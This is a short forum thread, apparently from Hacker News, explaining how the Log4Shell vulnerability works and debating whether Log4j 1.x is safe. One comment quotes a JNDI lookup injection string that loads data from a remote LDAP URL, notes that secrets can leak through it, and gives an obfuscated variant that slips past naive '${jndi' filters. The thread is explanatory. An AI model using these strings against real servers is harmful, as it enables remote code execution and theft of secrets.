3 ms·
The Behavior section in this link explains it in detail: https://en.wikipedia.org/wiki/Log4Shell https://en.wikipedia.org/wiki/Log4Shell "Among the recognized
by gadnuk 5y ago
The Behavior section in this link explains it in detail: https://en.wikipedia.org/wiki/Log4Shell https://en.wikipedia.org/wiki/Log4Shell
"Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server.
Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as "${jndi". Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input is not immediately logged, such as a first name, it may be later logged during internal processing and its contents executed."
Log4J 1.x was deemed safe because it does not offer the lookup mechanism that Log4J2 v2.x does. It always remains a String, no matter what, unlike v2.x where you can load serialized objects via lookups.
Source: https://twitter.com/ceki/status/1469449618316533762 https://twitter.com/ceki/status/1469449618316533762
- kyrra 5y agoLog4j 1.x is safe from THIS exploit, but reading https://logging.apache.org/log4j/1.2/ https://logging.apache.org/log4j/1.2/, there was an exploit discovered 2 years ago that was never fixed on the official branch (https://www.cvedetails.com/cve/CVE-2019-17571/ https://www.cvedetails.com/cve/CVE-2019-17571/). There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default.
- cesarb 5y ago> There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default. Sorry if I'm being dense, but wouldn't the workaround be not enabling SocketServer? AFAIK, it's not used by default, it's something you have to decide to use explicitly.